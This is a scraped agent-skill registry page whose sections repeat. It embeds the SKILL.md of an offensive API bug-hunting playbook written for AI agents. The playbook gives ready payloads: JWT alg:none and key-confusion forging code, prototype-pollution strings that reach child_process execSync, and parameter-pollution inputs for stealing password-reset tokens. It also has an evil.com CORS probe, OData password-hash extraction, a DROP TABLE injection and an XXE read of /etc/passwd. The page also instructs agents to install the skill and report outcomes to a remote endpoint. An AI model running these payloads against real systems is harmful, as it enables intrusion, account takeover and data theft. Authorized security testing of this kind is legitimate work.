Creator · elementalsouls
Last updated · Sep 2, 2026
Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid
Creator · elementalsouls
Last updated · Sep 2, 2026
Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid
Creator · elementalsouls
Last updated · Sep 2, 2026
Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid
Creator · elementalsouls
Last updated · Sep 2, 2026
Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid
Do not auto-install
Install targets
Codex install prompt
Install the "hunt-api-misconfig" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-api-misconfig. Read its SKILL.md or equivalent instructions first, install only the files needed for this workspace, and summarize any required setup before using it. Skill purpose: Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto). After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {"event_id":"install_<unique-id>","skill_slug":"elementalsouls-hunt-api-misconfig","task":"Install hunt-api-misconfig","agent":"codex","outcome":"success","install_used":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes.Supply asset profile
Deep research, source comparison, literature review, RAG, knowledge search, and reports.
Scenario
Research agents
I need my agent to research a topic, compare sources, and produce a concise report.
Agent fit
Claude Code + Browser agents + CLI
Codex, Claude Code, Cursor, CLI, or custom agents.
Install
Ready
npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig
Maintenance
fresh
5d since push
Risk
Needs review
Dependency or permission surface needs review
GitHub quality
4.1K
83/100 Quality · 66/100 Trust
Coverage tags
Review notes
Dependency or permission surface needs review · Permission surface may require sandboxing
Agent adoption scorecard
These scores combine public repository metadata, OpenAgentSkill review signals, maintenance freshness, and install readiness. They are a shortlist signal, not a replacement for human review.
Quality
StrongSolid option that is likely worth shortlisting for production workflows.
Trust
Do not auto-installTrust Score v5 found insufficient evidence for agent installation. Treat this as discovery material, not an executable recommendation.
Audit
Needs reviewA machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
OpenAgentSkill Trust Score v5
Choose a stronger alternative or inspect the source manually before any install attempt.
Stars
4.1K GitHub stars
Repo activity
4.1K stars, 633 forks
Maintenance
5d since push
License
MIT
Install
npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig
Install safety
Agent-readable metadata
Use this block or the embedded JSON to decide whether an agent should install this skill, choose an alternative, or ask for human review first.
Suited tasks
Suited agents
Install decision
Trust and risk
Outcome loop
Install command
npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfigDo not use when
Agent safety v2
This skill should not be selected by an agent without explicit human security review.
Do not auto-install. Inspect the source, dependencies, and permission surface first.
high
Skill metadata references terminal, CLI, shell, subprocess, or command execution workflows.
medium
Skill may drive a browser or interact with web pages.
medium
Skill likely fetches remote pages, APIs, repositories, or external services.
medium
Skill may read or write project files, documents, generated artifacts, or local workspace state.
Agent resolve plan
The Resolve API returns the selected skill, alternatives, safety policy, audit notes, install target, and copy-paste prompt an agent can follow without scraping this page.
Open JSON
/api/agent/resolve?task=Use%20hunt-api-misconfig%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Resolve text
/api/agent/resolve?task=Use%20hunt-api-misconfig%20for%20an%20agent%20workflow&agent=codex&max_risk=medium&format=text
Install handoff
/api/skills/elementalsouls-hunt-api-misconfig/install
Agent should check
Copy prompt
Task: Use hunt-api-misconfig in this workspace.
Resolve first: https://www.openagentskill.com/api/agent/resolve?task=Use%20hunt-api-misconfig%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Review install handoff: https://www.openagentskill.com/api/skills/elementalsouls-hunt-api-misconfig/install
Install command: npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig
Before running it, summarize audit warnings, required permissions, and the fallback skill if install is risky.Agent handoff
Use the public install endpoint to fetch the command, safety checklist, target prompts, and canonical links for this skill.
Install handoff
/api/skills/elementalsouls-hunt-api-misconfig/install
LLM text format
/api/skills/elementalsouls-hunt-api-misconfig/install?format=text
Find alternatives
/api/skills/search?q=hunt-api-misconfig&limit=3
Agent prompt
Use hunt-api-misconfig for this task. Review https://www.openagentskill.com/api/skills/elementalsouls-hunt-api-misconfig/install, then install with: npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfigRegistry metadata
This page exposes the same decision, trust, audit, use-case, and install signals through the Registry API, so agents can rank this skill without scraping the UI.
Manifest
/api/registry/manifest/elementalsouls-hunt-api-misconfig
LLM text
/api/registry/manifest/elementalsouls-hunt-api-misconfig?format=text
Install alias
/api/registry/install/elementalsouls-hunt-api-misconfig
Recommend
/api/registry/recommend?task=Use%20hunt-api-misconfig%20in%20an%20agent%20workflow&limit=3
Agent fit
Research agents
Use-case tags
Platforms
Claude Code, Browser agents
Audit report
A machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
Agent decision cockpit
Use this as a leading candidate, then validate the README and install path in your own agent stack.
Role in stack
Primary pick
Primary fit
Research agents
Trust label
Production-ready
Install path
Command ready
Use when
Evidence
review first
Implementation path
Trust profile
Trust Score v5 found insufficient evidence for agent installation. Treat this as discovery material, not an executable recommendation.
GitHub adoption
PASS4.1K GitHub stars
Stars/forks activity
PASS4.1K stars, 633 forks; issue activity unavailable in current metadata
Recent maintenance
PASS5d since push
License clarity
PASSMIT
Good signals
Review before install
Recommended action
Choose a stronger alternative or inspect the source manually before any install attempt.
Quality profile
Solid option that is likely worth shortlisting for production workflows.
Workflow fit
Investigate faster
I need my agent to research a topic, compare sources, and produce a concise report.
Parse messy files
I need my agent to read PDFs, extract tables, and turn documents into structured data.
Manage repositories
I need my agent to triage GitHub issues, review pull requests, and summarize repository changes.
Workflow fit
Find, compare, and synthesize
A workflow for agents that gather sources, compare claims, summarize long material, and draft useful research briefs.
Scrape, clean, and reuse web data
A practical workflow for agents that crawl public pages, extract clean content, normalize data, and hand it to downstream research or RAG workflows.
Operate and verify web apps
A workflow for agents that navigate products, fill forms, take screenshots, and verify real user flows across web applications.
Alternative shortlist
Similar skills that may fit this task.
Wazuh - The Open Source Security Platform. Unified XDR and SIEM protection for endpoints and cloud workloads.
🕵️♂️ Collect a dossier on a person by username from 3000+ sites
Nuclei is a fast, customizable vulnerability scanner powered by the global security community and built on a simple YAML-based DSL, enabling collaboration to tackle trending vulnerabilities on the internet. It helps you find vulnerabilities in your applications, APIs, networks, DNS, and cloud configurations.
Infisical is the open-source platform for secrets, certificates, and privileged access management.
--- name: hunt-api-misconfig description: "Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto)." sources: hackerone_public, owasp_api_top10_2023, public_research report_count: 0 ---
## 12. API SECURITY MISCONFIGURATION
### Mass Assignment ```javascript User.update(req.body) // body has {"role": "admin"} → privilege escalation ```
### JWT None Algorithm ```python header = {"alg": "none", "typ": "JWT"} payload = {"sub": 1, "role": "admin"} token = base64(header) + "." + base64(payload) + "." # no signature ```
### JWT RS256 → HS256 Algorithm Confusion ```python # Get server's public key from /.well-known/jwks.json # Sign token with public key as HMAC secret token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256") # Server uses RS256 key as HS256 secret → accepts it ```
### Prototype Pollution ```javascript // Server-side — Node.js merge without protection {"__proto__": {"admin": true}} {"constructor": {"prototype": {"admin": true}}} // URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin ```
For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import, or webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype state reaches a later operation.
Hunt sequence:
1. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects. Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed. 2. **Pollute harmless marker properties.** Send variants such as:
``` {"__proto__":{"polluted":"pp-1337"}} {"constructor":{"prototype":{"polluted":"pp-1337"}}} __proto__[polluted]=pp-1337 constructor[prototype][polluted]=pp-1337 ```
3. **Trigger a separate sink.** After pollution, request account/profile/admin/job/export/search/render endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields, server errors mentioning object properties, changed job output, template/render errors, or command/job behavior changes. 4. **Escalate only through learned sinks.** Candidate properties depend on the sink:
``` {"__proto__":{"json spaces":10}} {"__proto__":{"status":555}} {"__proto__":{"isAdmin":true,"role":"admin"}} {"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}} {"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}} ```
5. **For exfiltration labs or real impact, prefer non-destructive proof.** If an admin job, diagnostic, export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.
### Server-Side Parameter Pollution in Backend URL / REST URL Construction
Use this when a frontend form or endpoint appears to call a server-side API on your behalf (password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not ordinary client-side query pollution. The server takes your input and interpolates it into a backend URL path or query string, such as:
``` /api/internal/users/<username>/field/email /api/users/<id> /api/users?username=<username>&field=email ```
Hunt sequence:
1. **Find the flow and read the client request.** Fetch the page and any referenced JavaScript. Look for form actions, `fetch(...)`, hidden CSRF fields, and the exact parameter name the browser sends. If there is a reset/account form, test known usernames first to learn the normal success/error shape. 2. **Determine whether input lands in a backend path or query.** Send URL metacharacters in the input: `#`, `?`, `&x=y`, `/`, `../`, and encoded forms `%23`, `%3f`, `%26x=y`, `%2f`, `%2e%2e%2f`. Distinct errors such as `Invalid route`, `API definition`, `unsupported field`, or changed returned fields mean your value is being interpreted by a server-side URL router, not merely validated as text. 3. **Use path traversal to move inside the server-side URL.** If `username/../other-user` changes the referenced account, the input is in a REST path segment. Then try appending route fragments such as `/field/email`, `/field/id`, `/field/username`, `/field/passwordResetToken`, and terminate the rest of the original backend path with `#` or `%23` when the backend URL parser honors fragments. 4. **Discover API documentation from errors.** When an error says to consult the API definition, probe common documentation/spec paths: `/openapi.json`, `/swagger.json`, `/api-docs`, `/api/swagger.json`, `/swagger/v1/swagger.json`, `/v3/api-docs`, and path-traversal variants that attempt to reach the spec from the vulnerable backend route. A spec or descriptive route error tells you valid resources and field names. 5. **Exploit only to prove impact.** For password reset/account lookup flows, the strongest proof is a sensitive field such as a reset token or secret for another user, then using that token in the normal application flow to complete account takeover. Do not stop at `Invalid route`; use errors as routing feedback.
Payload patterns to try, adapted to the observed parameter name:
``` username=administrator%23 username=administrator%3f username=administrator%2f..%2fvictimuser username=administrator/../victimuser username=administrator/field/email%23 username=administrator/field/id%23 username=administrator/field/passwordResetToken%23 username=administrator%2ffield%2fpasswordResetToken%23 ```
### CORS Exploitation ```bash # Test: reflected origin + credentials curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me # If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true # → CRITICAL: attacker reads credentialed responses ```
---
## OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)
OData (Open Data Protocol) is the query layer behind **SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori,** and any ASP.NET WebAPI project using `Microsoft.AspNetCore.OData`. It exposes SQL-shaped query operators (`eq`, `ne`, `and`, `or`, `substringof`, `startswith`, `tolower`, `concat`, `replace`) that look SQL-ish but are NOT SQL — meaning keyword-blacklist WAFs routinely fail open on OData traffic.
### Attack class 1 — Boolean-logic blind extraction via `startswith` / `substringof`
``` GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a') GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa') ```
Iterate prefix character-by-character; cardinality of the response (or `@odata.count`) is the boolean oracle that confirms the prefix is correct. No SQLi engine needed, no `'`/`--` characters — the WAF sees only legitimate OData keywords. Extracted Microsoft Dynamics 365 / Power Apps Portals **password hashes, names, emails, addresses, financial data** in Dec 2023; Microsoft patched May 2024. ([Stratus Security writeup](https://www.stratussecurity.com/post/critical-microsoft-365-vulnerability), [The Hacker News coverage Jan 2025](https://thehackernews.com/2025/01/severe-security-flaws-patched-in.html))
### Attack class 2 — `$orderby` / `$select` column-disclosure bypass
``` GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname ```
`$orderby` accepts column names the user has no `$select` permission for, but the engine still sorts on them — the returned order leaks the protected column. Column-level ACLs are enforced on the projection (`$select`) but NOT on `$orderby` / `$filter` — same protected column, different code path. Second Stratus finding in the same Dynamics 365 disclosure; "more dangerous than the first because it directly returned the data" per Stratus.
### Attack class 3 — `$batch` multipart/mixed → per-request WAF signatures miss sub-operations
``` POST /odata/$batch Content-Type: multipart/mixed; boundary=batch_1 --batch_1 Content-Type: application/http GET Users?$filter=1 eq 1 HTTP/1.1 --batch_1-- ```
WAFs that scan only the outer request body (or that don't natively parse `multipart/mixed`) skip every inner operation. ModSecurity refused `multipart/mixed` historically ([Issue #3296](https://github.com/owasp-modsecurity/ModSecurity/issues/3296)); F5 added native batch parsing only in Advanced WAF v16.1 ([F5 SAP-Fiori advisory](https://www.f5.com/company/blog/securing-sap-fiori-http-batched-requests-odata-with-f5-advance)). The 2025 WAFFLED paper ([arXiv 2503.10846](https://arxiv.org/html/2503.10846v1)) generalises the parsing-discrepancy bypass class across 5 major WAFs.
### Attack class 4 — Encoded / non-canonical operator → keyword-blacklist bypass
``` GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201 # URL-encoded $ GET /api?%2524filter=... # double-encoded GET /Users(1)/$value # path-segment style ```
Mixed-case operators (`Eq`, `EQ`) and obscure ones (`substringof`, `tolower`, `concat`, `replace`) look unlike `SELECT`/`UNION` so SQLi-keyword signatures never fire. WAFs that key on the literal string `$filter` see neither form — but the OData server normalises both before evaluating the predicate. Documented since Kalra Black Hat AD 2012; canonical OData-vs-WAF impedance mismatch. ([OWASP Double Encoding](https://owasp.org/www-community/Double_Encoding))
### Attack class 5 — OData → real SQLi when library passes filter raw
``` $filter=Name eq 'x'); DROP TABLE Users--' ```
Only triggers when the OData layer string-concatenates into SQL instead of using LINQ. Documented in [OData/WebApi Issue #2352](https://github.com/OData/WebApi/issues/2352). The XML-deserialisation variant: **CVE-2019-17554** (Apache Olingo OData 4.0.0-4.6.0, XXE via `<!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]>` in `application/xml` body, CVSS 7.5). DoS variant: **CVE-2018-8269** (Microsoft.Data.OData deep `$filter` recursion → stack overflow).
### Bonus — `$expand` navigation-property IDOR
``` GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card)) ```
Authorisation decorators applied to top-level entity sets; the engine joins along navigation properties without re-checking ACL on the joined entity. Same root cause as the 2021 PowerApps Portals 38M-record mass leak ([UpGuard writeup](https://www.upguard.com/breaches/power-apps)).
### Detection heuristics
- Response headers: `OData-Version: 4.0` / `DataServiceVersion: 3.0`; URL paths `/_api/`, `/odata/`, `/_vti_bin/`, `/api/data/v9.x/`, `/sap/opu/odata/`. - Try `$metadata` → if anonymous, the full schema (entity sets, navigation properties, function imports) is yours. - Probe each entity set with `$filter=1 eq 1`, `$top=1`, `$select=*`, then `$orderby=<column-you-shouldnt-see>` for column-level ACL. - Send the same payload three ways (`$filter=`, `%24filter=`, `%2524filter=`) and through `$batch` — divergent WAF behaviour confirms the parser-discrepancy bug.
---
## NSwag / Swagger / OpenAPI Spec Ex
Source provenance
Decision snapshot
4,072 GitHub stars
Audit
Install and adoption review
Agent-proven evidence
Outcome reports after resolve, review, install, and one narrow run.
No agent outcome data yet. The first agent run can report success, setup needs, risk blocks, failure, or not-relevant through /api/agent/outcome.
Install
Free and open source. Review the report before installing into production agents.
Growth loop
Scenario-led draft for hunt-api-misconfig, ready for a manual X post.
hunt-api-misconfig: Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tamperin... 4.1K stars https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=x
Listing + install path for hunt-api-misconfig: https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=x Install: npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig
Listing source
This listing was indexed from public sources and is not marked official until a maintainer claim is approved.
Attribution links to the public repository or creator profile. Creators can claim the listing to update ownership signals.
Claim this skillOwner claim
This Registry indexed listing is attributed to elementalsouls but is not marked official yet. Claim it to add a verified owner signal and make future launch, install, and audit updates easier to trust.
Creator backlink kit
Show the canonical listing, current trust and audit signals, and real Agent-Proven evidence where developers evaluate the repository.
[](https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig/audit)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-api-misconfig?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)elementalsouls
@elementalsouls
Share whether this skill looks useful for your agent workflow. Aggregated feedback improves rankings over time.
Do not auto-install
Wazuh
Wazuh - The Open Source Security Platform. Unified XDR and SIEM protection for endpoints and cloud workloads.
16.3K StarsMaigret
🕵️♂️ Collect a dossier on a person by username from 3000+ sites
32.9K StarsNuclei
Nuclei is a fast, customizable vulnerability scanner powered by the global security community and built on a simple YAML-based DSL, enabling collaboration to tackle trending vulnerabilities on the internet. It helps you find vulnerabilities in your applications, APIs, networks, DNS, and cloud configurations.
29.2K StarsInfisical
Infisical is the open-source platform for secrets, certificates, and privileged access management.
27.4K StarsDo not auto-install
Install targets
Codex install prompt
Install the "hunt-api-misconfig" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-api-misconfig. Read its SKILL.md or equivalent instructions first, install only the files needed for this workspace, and summarize any required setup before using it. Skill purpose: Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto). After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {"event_id":"install_<unique-id>","skill_slug":"elementalsouls-hunt-api-misconfig","task":"Install hunt-api-misconfig","agent":"codex","outcome":"success","install_used":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes.Supply asset profile
Deep research, source comparison, literature review, RAG, knowledge search, and reports.
Scenario
Research agents
I need my agent to research a topic, compare sources, and produce a concise report.
Agent fit
Claude Code + Browser agents + CLI
Codex, Claude Code, Cursor, CLI, or custom agents.
Install
Ready
npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig
Maintenance
fresh
5d since push
Risk
Needs review
Dependency or permission surface needs review
GitHub quality
4.1K
83/100 Quality · 66/100 Trust
Coverage tags
Review notes
Dependency or permission surface needs review · Permission surface may require sandboxing
Agent adoption scorecard
These scores combine public repository metadata, OpenAgentSkill review signals, maintenance freshness, and install readiness. They are a shortlist signal, not a replacement for human review.
Quality
StrongSolid option that is likely worth shortlisting for production workflows.
Trust
Do not auto-installTrust Score v5 found insufficient evidence for agent installation. Treat this as discovery material, not an executable recommendation.
Audit
Needs reviewA machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
OpenAgentSkill Trust Score v5
Choose a stronger alternative or inspect the source manually before any install attempt.
Stars
4.1K GitHub stars
Repo activity
4.1K stars, 633 forks
Maintenance
5d since push
License
MIT
Install
npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig
Install safety
Agent-readable metadata
Use this block or the embedded JSON to decide whether an agent should install this skill, choose an alternative, or ask for human review first.
Suited tasks
Suited agents
Install decision
Trust and risk
Outcome loop
Install command
npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfigDo not use when
Agent safety v2
This skill should not be selected by an agent without explicit human security review.
Do not auto-install. Inspect the source, dependencies, and permission surface first.
high
Skill metadata references terminal, CLI, shell, subprocess, or command execution workflows.
medium
Skill may drive a browser or interact with web pages.
medium
Skill likely fetches remote pages, APIs, repositories, or external services.
medium
Skill may read or write project files, documents, generated artifacts, or local workspace state.
Agent resolve plan
The Resolve API returns the selected skill, alternatives, safety policy, audit notes, install target, and copy-paste prompt an agent can follow without scraping this page.
Open JSON
/api/agent/resolve?task=Use%20hunt-api-misconfig%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Resolve text
/api/agent/resolve?task=Use%20hunt-api-misconfig%20for%20an%20agent%20workflow&agent=codex&max_risk=medium&format=text
Install handoff
/api/skills/elementalsouls-hunt-api-misconfig/install
Agent should check
Copy prompt
Task: Use hunt-api-misconfig in this workspace.
Resolve first: https://www.openagentskill.com/api/agent/resolve?task=Use%20hunt-api-misconfig%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Review install handoff: https://www.openagentskill.com/api/skills/elementalsouls-hunt-api-misconfig/install
Install command: npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig
Before running it, summarize audit warnings, required permissions, and the fallback skill if install is risky.Agent handoff
Use the public install endpoint to fetch the command, safety checklist, target prompts, and canonical links for this skill.
Install handoff
/api/skills/elementalsouls-hunt-api-misconfig/install
LLM text format
/api/skills/elementalsouls-hunt-api-misconfig/install?format=text
Find alternatives
/api/skills/search?q=hunt-api-misconfig&limit=3
Agent prompt
Use hunt-api-misconfig for this task. Review https://www.openagentskill.com/api/skills/elementalsouls-hunt-api-misconfig/install, then install with: npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfigRegistry metadata
This page exposes the same decision, trust, audit, use-case, and install signals through the Registry API, so agents can rank this skill without scraping the UI.
Manifest
/api/registry/manifest/elementalsouls-hunt-api-misconfig
LLM text
/api/registry/manifest/elementalsouls-hunt-api-misconfig?format=text
Install alias
/api/registry/install/elementalsouls-hunt-api-misconfig
Recommend
/api/registry/recommend?task=Use%20hunt-api-misconfig%20in%20an%20agent%20workflow&limit=3
Agent fit
Research agents
Use-case tags
Platforms
Claude Code, Browser agents
Audit report
A machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
Agent decision cockpit
Use this as a leading candidate, then validate the README and install path in your own agent stack.
Role in stack
Primary pick
Primary fit
Research agents
Trust label
Production-ready
Install path
Command ready
Use when
Evidence
review first
Implementation path
Trust profile
Trust Score v5 found insufficient evidence for agent installation. Treat this as discovery material, not an executable recommendation.
GitHub adoption
PASS4.1K GitHub stars
Stars/forks activity
PASS4.1K stars, 633 forks; issue activity unavailable in current metadata
Recent maintenance
PASS5d since push
License clarity
PASSMIT
Good signals
Review before install
Recommended action
Choose a stronger alternative or inspect the source manually before any install attempt.
Quality profile
Solid option that is likely worth shortlisting for production workflows.
Workflow fit
Investigate faster
I need my agent to research a topic, compare sources, and produce a concise report.
Parse messy files
I need my agent to read PDFs, extract tables, and turn documents into structured data.
Manage repositories
I need my agent to triage GitHub issues, review pull requests, and summarize repository changes.
Workflow fit
Find, compare, and synthesize
A workflow for agents that gather sources, compare claims, summarize long material, and draft useful research briefs.
Scrape, clean, and reuse web data
A practical workflow for agents that crawl public pages, extract clean content, normalize data, and hand it to downstream research or RAG workflows.
Operate and verify web apps
A workflow for agents that navigate products, fill forms, take screenshots, and verify real user flows across web applications.
Alternative shortlist
Similar skills that may fit this task.
Wazuh - The Open Source Security Platform. Unified XDR and SIEM protection for endpoints and cloud workloads.
🕵️♂️ Collect a dossier on a person by username from 3000+ sites
Nuclei is a fast, customizable vulnerability scanner powered by the global security community and built on a simple YAML-based DSL, enabling collaboration to tackle trending vulnerabilities on the internet. It helps you find vulnerabilities in your applications, APIs, networks, DNS, and cloud configurations.
Infisical is the open-source platform for secrets, certificates, and privileged access management.
--- name: hunt-api-misconfig description: "Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto)." sources: hackerone_public, owasp_api_top10_2023, public_research report_count: 0 ---
## 12. API SECURITY MISCONFIGURATION
### Mass Assignment ```javascript User.update(req.body) // body has {"role": "admin"} → privilege escalation ```
### JWT None Algorithm ```python header = {"alg": "none", "typ": "JWT"} payload = {"sub": 1, "role": "admin"} token = base64(header) + "." + base64(payload) + "." # no signature ```
### JWT RS256 → HS256 Algorithm Confusion ```python # Get server's public key from /.well-known/jwks.json # Sign token with public key as HMAC secret token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256") # Server uses RS256 key as HS256 secret → accepts it ```
### Prototype Pollution ```javascript // Server-side — Node.js merge without protection {"__proto__": {"admin": true}} {"constructor": {"prototype": {"admin": true}}} // URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin ```
For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import, or webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype state reaches a later operation.
Hunt sequence:
1. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects. Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed. 2. **Pollute harmless marker properties.** Send variants such as:
``` {"__proto__":{"polluted":"pp-1337"}} {"constructor":{"prototype":{"polluted":"pp-1337"}}} __proto__[polluted]=pp-1337 constructor[prototype][polluted]=pp-1337 ```
3. **Trigger a separate sink.** After pollution, request account/profile/admin/job/export/search/render endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields, server errors mentioning object properties, changed job output, template/render errors, or command/job behavior changes. 4. **Escalate only through learned sinks.** Candidate properties depend on the sink:
``` {"__proto__":{"json spaces":10}} {"__proto__":{"status":555}} {"__proto__":{"isAdmin":true,"role":"admin"}} {"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}} {"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}} ```
5. **For exfiltration labs or real impact, prefer non-destructive proof.** If an admin job, diagnostic, export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.
### Server-Side Parameter Pollution in Backend URL / REST URL Construction
Use this when a frontend form or endpoint appears to call a server-side API on your behalf (password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not ordinary client-side query pollution. The server takes your input and interpolates it into a backend URL path or query string, such as:
``` /api/internal/users/<username>/field/email /api/users/<id> /api/users?username=<username>&field=email ```
Hunt sequence:
